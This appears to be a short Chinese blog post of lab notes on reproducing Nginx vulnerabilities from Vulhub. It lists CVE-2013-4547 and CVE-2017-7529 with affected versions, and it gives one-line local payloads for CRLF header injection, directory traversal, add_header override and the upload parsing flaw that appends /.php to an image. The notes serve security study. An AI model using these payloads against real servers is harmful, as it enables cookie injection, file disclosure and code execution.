vulhub-nginx

最新推荐文章于 2025-07-16 10:34:11 发布

weixin_44912035

最新推荐文章于 2025-07-16 10:34:11 发布

阅读量129

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现

本文链接：https://blog.csdn.net/weixin_44912035/article/details/113059492

漏洞复现专栏收录该内容

11 篇文章

订阅专栏

CVE-2013-4547

影响范围
Nginx 0.8.41~1.4.3
Nginx 1.5.0~1.5.7

CVE-2017-7529越界读取缓存漏洞

影响范围
Nginx version 0.5.6 - 1.13.2
在这里插入图片描述

insecure-configuration

CRLF注入漏洞

Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。
payload：http://127.0.0.1/%0a%0dSet-Cookie:%20a=1%0a%0d%0a%0d%0a<!–

在这里插入图片描述

目录穿越漏洞

payload:http://127.0.0.1:8081/files…/

add_header被覆盖

payload:http://127.0.0.1:8082/test2#

nginx解析漏洞

原请求为http://127.0.0.1/uploadfiles/nginx.png
payload为：http://127.0.0.1/uploadfiles/nginx.png/.php